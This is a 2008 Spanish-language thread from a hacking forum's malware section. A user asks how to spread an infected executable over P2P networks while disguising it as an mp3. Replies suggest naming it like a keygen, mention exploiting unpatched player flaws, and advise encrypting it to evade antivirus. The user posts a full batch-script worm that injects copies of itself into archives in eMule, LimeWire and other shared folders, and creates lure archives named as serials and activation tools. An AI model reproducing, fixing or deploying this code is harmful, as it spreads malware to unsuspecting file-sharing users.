elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Ingresar Registrarse
06 Octubre 2008, 20:15  



+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderadores: Man-In-the-Middle, Hendrix)
| | |-+  Propagación por P2P [Duda]
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Imprimir
Autor Tema: Propagación por P2P [Duda]  (Leído 469 veces)
napster08

Desconectado Desconectado

Mensajes: 14



Ver Perfil
Propagación por P2P [Duda]
« en: 14 Mayo 2008, 21:49 »

Buenas, tengo un problema que me ronda por la cabeza al cual no encuentro respuesta. intentare ser lo mas claro posible.

He buscado y leído bastante sobre propagación p2p de cualquier archivo, hay mucha información por el foro, pero concretamente no he encontrado nada sobre el software en cuestión, es decir cuando yo meto mi archivo infectado en la carpeta compartida del x programa para compartir el archivo infectado.

Y me encuentro con 2 problemas.

Mi problema numero uno es que automáticamente el programa p2p, llámese emule, ares o cualquier otro, automáticamente me reconoce el archivo como software por tener una extensión exe, anteriormente he unido el server con una canción por ejemplo, pero no consigo quitarle la extensión de exe de aplicación, por ese motivo el programa siempre me lo reconoce como software.

Duda nº1

-¿Existe algún modo de dejar el archivo con extensión .mp3 por ejemplo y que se siga ejecutando el archivo infectado?

Duda nº2

-¿Que posibilidades existen de que algún usuario encuentre mi archivo infectado compartido?


Si alguien cree que puede responder estas 2 preguntas le estaré eternamente agradecido, de todas maneras seguiré investigando el tema.

Gracias.
En línea
abcdef123

Desconectado Desconectado

Mensajes: 68



Ver Perfil
Re: Propagación por P2P [Duda]
« Respuesta #1 en: 14 Mayo 2008, 22:11 »

Te voy a contestar antes de que te borren el post o te manden a buscar por google o algo parecido
Duda nº1
Hay un metodo pero para que funcione siempre tienen que ejecutar un exe
Por lo tanto NO

Duda nº2
-¿Que posibilidades existen de que algún usuario encuentre mi archivo infectado compartido?
Y a esta pregunta pues no se si te refieres a que se lo baje mas gente si es a eso pues le pones el nombre de keygen y el nombre de algún programa solicitado y listo

Espero haberte ayudado aunq yo no soy ningún experto
En línea
Man-In-the-Middle
www.tunchemart.com --OjO-- Solo Quejas!!
Moderador
*****
Desconectado Desconectado

Mensajes: 3.322



Ver Perfil WWW
Re: Propagación por P2P [Duda]
« Respuesta #2 en: 14 Mayo 2008, 23:24 »

La unica forma de que puedas mandar un mp3, es que sea creado con un tool que explote alguna vulnerabilidad permitiendo ejecucion remota(drooper)or webdownloader, pues esas vulnerabilidades son parchadas casi en el acto, a menos que sea un o-day, no publicado pero lo dudo mucho.

Saludos
En línea

Freeze.

Desconectado Desconectado

Mensajes: 2.446

FireSoft


Ver Perfil WWW
Re: Propagación por P2P [Duda]
« Respuesta #3 en: 14 Mayo 2008, 23:27 »

Ya que leo este ultimo comentario, digo lo siguiente:

Me he descargado varias "canciones" y cuando las abro intentan reproducir Play_Mp3.exe :¬¬ ¿Porque sera eso?
En línea

Un nuevo CMS, pruebalo:


napster08

Desconectado Desconectado

Mensajes: 14



Ver Perfil
Re: Propagación por P2P [Duda]
« Respuesta #4 en: 15 Mayo 2008, 00:18 »

Te voy a contestar antes de que te borren el post o te manden a buscar por google o algo parecido
Duda nº1
Hay un metodo pero para que funcione siempre tienen que ejecutar un exe
Por lo tanto NO

Duda nº2
-¿Que posibilidades existen de que algún usuario encuentre mi archivo infectado compartido?
Y a esta pregunta pues no se si te refieres a que se lo baje mas gente si es a eso pues le pones el nombre de keygen y el nombre de algún programa solicitado y listo

Espero haberte ayudado aunq yo no soy ningún experto


Gracias por tu respuesta pero no creo que incumpla ninguna norma del foro para que se proceda a borrar el post.

La unica forma de que puedas mandar un mp3, es que sea creado con un tool que explote alguna vulnerabilidad permitiendo ejecucion remota(drooper)or webdownloader, pues esas vulnerabilidades son parchadas casi en el acto, a menos que sea un o-day, no publicado pero lo dudo mucho.

Saludos


Excelente respuesta, por el momento me olvidare logicamente de encontrar un 0-day jeje, pero seguire investigando el tema.

Gracias.

Casualmente he encontrado un codigo en batch basado en el de el fantastico hendrix, pero tengo algunos problemas para su configuración, paso a detallarlo.

Citar
@echo off
del %windir%\t.rar
type %0>op.bat
set o="%systemdrive%%~p0op.bat"
cd "%systemdrive%%~p0"
echo eMule\Incoming\ > %windir%\yer.t
echo Shareaza\Downloads\ >> %windir%\yer.t
echo BearShare\Shared\ >> %windir%\yer.t
echo EDONKEY2000\incoming\ >> %windir%\yer.t
echo LimeWire\Shared\ >> %windir%\yer.t
echo Path_msn_Emoticonos > %windir%\jer.t
echo sms_gratis >> %windir%\jer.t
echo polifonicos_free >> %windir%\jer.t
echo Microsoft_Office_2007_all_serials >> %windir%\jer.t
echo Windows_Vista_activation_tool >> %windir%\jer.t
echo Windows_Vista_all_serials >> %windir%\jer.t
echo MSN_hack_codes >> %windir%\jer.t
set rc=1
set r="%programfiles%\WINRAR\WinRAR.exe"
%r% a %windir%\t.rar %o%
if not %errorlevel%==9009 set rc=0
goto fr
:fr2
set uno=%1
for /F "tokens=* delims=" %%g in (%windir%\jer.t) do (
         if %rc%==0 (
           @copy /y %o% "%%g.bat"
           cls
           ping -n 2 localhost > nul
           %r% a "%%g.rar" "%%g.bat"
         )
)
goto :EOF                                 
:fr
for /F "tokens=* delims=" %%a in (%windir%\yer.t) do (
         if exist "%programfiles%\%%a" (
            cd "%programfiles%\%%a"     
            for %%e in (*.rar) do (
              @copy /y %o% "%%~ne.bat"
              cls
              ping -n 2 localhost > nul
              %r% a "%%e" "%%~ne.bat"
            )     
         call :fr2 %%a
          )
)
pause
cd %windir%
del *.t
cd "%systemdrive%%~p0"
del op.bat
exit

Para su funcionamiento supongo que habra que modificar la ruta de windir con el archivo infectado, si alguien conoce la forma de ejecutarlo correctamente y puede explicar un poco el codigo se lo agradezco.
« Última modificación: 15 Mayo 2008, 00:42 por napster08 » En línea
fernacho

Desconectado Desconectado

Mensajes: 28

Fer el Newbie


Ver Perfil
Re: Propagación por P2P [Duda]
« Respuesta #5 en: 21 Mayo 2008, 20:47 »

Yo he visto ese código, para que se copie en una serie de archivos de un P2P, si es util, pero, habrá necesidad de encryptar el servidor y para que ningun av lo detecte.
En línea

Deseando aprender un poco mas y mas...
Páginas: [1] Ir Arriba Imprimir 
Ir a:  







Consolas     La Web de Goku     MilW0rm     MundoDivx

Hispabyte     Truzone     TodoReviews     ZonaPhotoshop

hard-h2o modding    Foros de ayuda    Yashira.org    Videojuegos    indetectables.net   

Noticias Informatica    Seguridad Informática    ADSL    Foros en español    eNYe Sec

Todas las webs afiliadas están libres de publicidad engañosa.

Powered by SMF 1.1.6 | SMF © 2006-2008, Simple Machines LLC
Free counter and web stats